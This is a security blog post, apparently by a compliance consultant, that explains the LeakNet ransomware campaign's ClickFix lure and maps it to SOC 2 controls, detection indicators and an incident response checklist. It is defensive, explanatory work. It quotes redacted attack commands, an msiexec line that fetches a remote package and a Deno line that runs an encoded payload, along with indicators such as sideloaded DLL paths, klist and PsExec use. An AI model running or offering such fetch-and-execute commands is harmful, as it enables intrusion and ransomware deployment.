LeakNet Ransomware and the ClickFix Trap: SOC 2 Incident Response for Startups

A developer on your team visits a SaaS blog they read every week. The page loads normally, then a Cloudflare verification prompt appears: "Verify you are human." They've seen this a hundred times. They follow the instructions, press Win+R, paste the command, hit Enter. In under four seconds, they've launched a ransomware infection chain that will reach lateral movement within four minutes.

This isn't a hypothetical. It's the LeakNet ransomware campaign, which is actively using a social engineering technique called ClickFix to deliver ransomware through compromised legitimate websites. The technique is simple, effective, and almost invisible to traditional security controls. According to ReliaQuest's threat analysis, ClickFix facilitated the delivery of 59% of the top malware families tracked in 2025. That number alone should change how you think about your SOC 2 security awareness and incident response controls.

What ClickFix actually does

ClickFix is not phishing in the traditional sense. There's no fake login page. No credential harvesting. No email with a suspicious link. Instead, attackers compromise legitimate websites and inject JavaScript that displays a fake browser verification prompt - typically mimicking Cloudflare's Turnstile CAPTCHA.

The prompt tells the user to "verify" by opening a Run dialog (Win+R) and pasting a command that's been automatically copied to their clipboard. The command looks innocuous, but it runs something like this:

msiexec -pAcKaGe hxxp:\[REDACTED]\system32\..\Verification\..\UserID123456 /q

That single command downloads and silently installs a malicious MSI package. The user sees nothing unusual - no installation window, no progress bar. The /q flag suppresses all UI. The path obfuscation using .. traversals disguises the actual download URL from casual inspection.

The reason this works is psychological, not technical. People trust the websites they visit regularly. A Cloudflare verification prompt on a site they've used for months doesn't trigger suspicion. And the instruction to press Win+R and paste a command doesn't feel like "installing software" - it feels like completing a routine verification step.

What happens after the click

The initial MSI payload is just the entry point. What follows is a multi-stage attack chain that's designed to evade every layer of traditional endpoint security.

Stage 1: In-memory execution via Deno

LeakNet uses the Deno JavaScript runtime as its execution engine. The loader runs a command like:

deno.exe -A data:application/javascript;base64,[REDACTED_PAYLOAD]

The malicious JavaScript payload is passed directly as a base64-encoded data URL. It never touches the filesystem as a standalone file. The payload executes entirely in memory, which means file-based antivirus and static analysis tools never see it.

Deno itself is a legitimate, signed binary. Most endpoint detection tools won't flag it. The scripts are named innocuously - Romeo*.ps1 and Juliet*.vbs - and the loader fingerprints the host (username, hostname, RAM, OS version), generates a unique victim identifier, and establishes a persistent polling loop to the attacker's command-and-control infrastructure.

Stage 2: DLL sideloading and persistence

Once the loader establishes communication with the C2 server, the attack progresses to DLL sideloading. A malicious jli.dll is placed in C:\ProgramData\USOShared, and a legitimate Java process (java.exe) is tricked into loading it. This gives the attacker persistent code execution through a trusted process that most security tools won't scrutinize.

Stage 3: Credential discovery and lateral movement

The attacker runs cmd.exe /c klist to enumerate active Kerberos tickets and authentication tokens. Then PsExec - another legitimate administrative tool - handles lateral movement across the network. Amazon S3 buckets serve as staging infrastructure for both additional payload delivery and data exfiltration.

ReliaQuest documented what they call a "4-minute breakout" - the time from initial access to lateral movement. Four minutes. That's less time than it takes most startups to acknowledge a security alert, let alone respond to one.

Why this matters for SOC 2

If your startup is pursuing or maintaining SOC 2 compliance, the LeakNet campaign touches at least five Trust Services Criteria that your auditor will evaluate. And unlike traditional vulnerability-based attacks where patching is the primary control, ClickFix targets human behavior. That requires a different category of controls entirely.

CC1.4: Security awareness and communication

SOC 2 requires that your organization communicates security responsibilities to personnel and third parties. In practice, this means security awareness training. But here's the problem: most startup security training focuses on phishing emails. "Don't click suspicious links." "Check the sender address." "Look for typos."

ClickFix doesn't arrive via email. It appears on a website your employee already trusts. The prompt mimics a legitimate browser interaction. Traditional phishing awareness training doesn't prepare anyone for this because the threat vector is completely different.

Your security awareness program needs to cover:

• Command execution awareness: Employees should understand that no legitimate website will ever ask them to press Win+R, open Terminal, or paste commands. This is the single most important message, and it needs to be repeated until it's reflexive.
• Verification prompt skepticism: If a website suddenly asks for a new type of verification that involves running a command or opening a system dialog, that's a red flag regardless of how familiar the site is.
• Reporting without shame: When someone almost falls for it (or does fall for it), the priority is immediate reporting, not punishment. A 30-second delay between "I think I ran something bad" and "I reported it to the security team" can be the difference between containment and encryption.

Document this training, track completion, and update it quarterly. Your auditor will want to see evidence that your program addresses current threat vectors, not just the phishing scenarios from two years ago.

CC6.1: Logical access controls

The ClickFix attack chain exploits the fact that most startup employees have local administrator privileges or unrestricted ability to execute arbitrary commands. This is a CC6.1 issue because SOC 2 requires appropriate access controls over information assets.

Practical controls to implement:

The trade-off with application control is developer productivity. Engineers need to run arbitrary commands - it's their job. The answer isn't to lock down engineering workstations the same way you lock down finance laptops. It's to segment your policies:

• Engineering workstations: Allow approved runtimes (Node, Python, Deno) but monitor execution of unsigned binaries and flag unusual runtime arguments (like base64-encoded data URLs passed to Deno)
• Non-engineering workstations: Restrict command-line access, block msiexec, enforce strict application allowlisting
• Shared/BYOD devices: Require managed browser profiles with web content filtering

CC7.2: Monitoring for anomalous activity

Four minutes from initial access to lateral movement means your detection has to be fast. Not "we'll review the SIEM alerts on Monday" fast. Automated-response fast.

Here's what to monitor for, mapped to the LeakNet kill chain:

Initial access indicators:

• msiexec.exe spawned by a browser process (Chrome, Firefox, Edge)
• PowerShell or cmd.exe launched from explorer.exe with encoded arguments
• Network connections to newly registered domains (LeakNet's C2 infrastructure is typically weeks old)

Loader indicators:

• deno.exe executing with -A flag and data: URL arguments
• VBS or PowerShell scripts with names matching Romeo* or Juliet* patterns
• Processes binding to local ports unexpectedly (the loader prevents multiple instances this way)

Post-exploitation indicators:

• jli.dll loaded from C:\ProgramData\USOShared (legitimate path is Java's installation directory)
• cmd.exe /c klist execution outside of administrative troubleshooting
• PsExec connections between workstations (not from admin jump hosts)
• Outbound connections to S3 buckets not in your approved AWS account list

If you're running a lean security operation, you don't need a six-figure SIEM to detect these patterns. Tools like Wazuh (open-source) or CrowdStrike Falcon Go (startup-priced) can implement these detection rules. I've written about building a free security toolstack that covers monitoring - the key is having the detection rules configured for current threats, not just default alerting.

CC7.3 through CC7.5: Incident evaluation, response, and recovery

This is where most startups have the biggest gap. You might have monitoring in place (CC7.2), but do you have a documented, tested plan for what happens when the alert fires?

SOC 2's CC7.3 requires you to evaluate identified security events. CC7.4 requires you to respond to them. CC7.5 requires you to recover from them. For ransomware specifically, this means:

Evaluation (CC7.3) - first 5 minutes:

• Triage the alert: is this a real compromise or a false positive?
• Identify the scope: which systems are affected? Has lateral movement occurred?
• Classify severity: is this an isolated workstation event or has the attacker reached production infrastructure?

Response (CC7.4) - first 30 minutes:

• Isolate affected systems from the network (automated if possible)
• Revoke compromised credentials and kill active sessions
• Block identified C2 domains and IP addresses at the firewall
• Preserve forensic evidence (memory dumps, network logs, process trees)
• Notify leadership and begin communication protocol

Recovery (CC7.5) - first 24 hours:

• Rebuild affected systems from known-good images
• Verify backup integrity before restoration
• Conduct password resets for potentially exposed accounts
• Monitor for persistence mechanisms that survived initial remediation
• Begin root cause analysis

The critical detail that many startups miss: this plan needs to be tested. Not just documented. Tested. Run a tabletop exercise where you walk through the LeakNet scenario: "An employee ran a ClickFix command 3 minutes ago. The Deno loader is active. PsExec connections are appearing between workstations. What do you do?"

If your team can't answer that question without opening a document, your incident response plan isn't operational. And your SOC 2 auditor can - and should - test whether your team knows the plan, not just whether the plan exists. The audit preparation guide I wrote covers what auditors actually test versus what they just review as documentation. Incident response is increasingly in the "test it" category.

Why LeakNet's shift matters strategically

LeakNet is a relatively small operation - averaging about three victims per month. But the strategic shift they represent is significant. Previously, LeakNet relied on initial access brokers (IABs) to buy stolen credentials for network access. That model has a natural constraint: you can only attack targets where credentials are available, and you're paying a middleman for every engagement.

By switching to ClickFix, LeakNet removes the IAB dependency entirely. Their attack surface expands from "organizations whose credentials have been stolen" to "anyone who visits a compromised website." The economics change dramatically. ClickFix scales horizontally across any website the attackers can compromise. There's no per-target cost. The attack is opportunistic rather than targeted, which means victim selection becomes semi-random - whichever employees of whichever companies happen to visit a compromised site.

For startups, this has a specific implication: you don't need to be targeted to be hit. Your employee visits a legitimate tech blog that happens to be compromised, follows a familiar-looking verification prompt, and suddenly your four-person engineering team is dealing with an active ransomware infection. The attack isn't sophisticated in the way zero-days are sophisticated. It's sophisticated in the way good social engineering is always sophisticated - it exploits trust and routine rather than technical vulnerabilities.

Building a ClickFix-resistant security posture

Here's the practical checklist. This maps to SOC 2 criteria and can be implemented by a small team without a dedicated security hire.

Week 1 - Immediate controls:

• [ ] Deploy browser-level content filtering that blocks newly registered domains
• [ ] Configure endpoint monitoring for msiexec spawned by browser processes
• [ ] Add ClickFix-specific content to your security awareness training
• [ ] Block execution of Deno, Node, and Python runtimes on non-engineering workstations

Week 2 - Detection rules:

• [ ] Create alerts for DLL loading from non-standard paths (especially C:\ProgramData\)
• [ ] Monitor for PsExec execution outside of approved admin workflows
• [ ] Flag outbound connections to S3 buckets not in your approved account list
• [ ] Set up alerts for klist execution from non-admin accounts

Week 3 - Incident response:

• [ ] Write or update your ransomware incident response playbook
• [ ] Define automated isolation triggers (what severity level auto-disconnects a workstation?)
• [ ] Verify backup integrity and test restoration procedures
• [ ] Run a 30-minute tabletop exercise with your engineering team

Week 4 - Documentation and audit readiness:

• [ ] Document all new controls with implementation dates and owners
• [ ] Update your risk register to include ClickFix/social engineering as a threat vector
• [ ] Record the tabletop exercise results and any remediation actions
• [ ] Schedule quarterly reviews of detection rules and awareness training content

This isn't a theoretical framework. These are the controls I help clients implement when they're preparing for SOC 2 audits and want their security posture to match their compliance documentation. The gap between "we have a policy" and "we can actually respond to an incident" is where most startups stumble, and it's exactly what sophisticated social engineering campaigns like LeakNet's ClickFix operation are designed to exploit.

The attacks that breach your network in 2026 probably won't come through a zero-day vulnerability or an unpatched server. They'll come through a trusted website, a familiar-looking prompt, and an employee who didn't know that pressing Win+R could be dangerous. Plan accordingly.

Keep reading:

• SOC 2 Compliance Explained: What It Is, Who Needs It, and How to Get Certified
• How to Prepare for a SOC 2 Audit: A Practical Checklist
• The Free Security Toolstack: Every Security Tool You Need for $0

Building SOC 2 controls that handle real-world threats, not just audit checklists? Let's talk.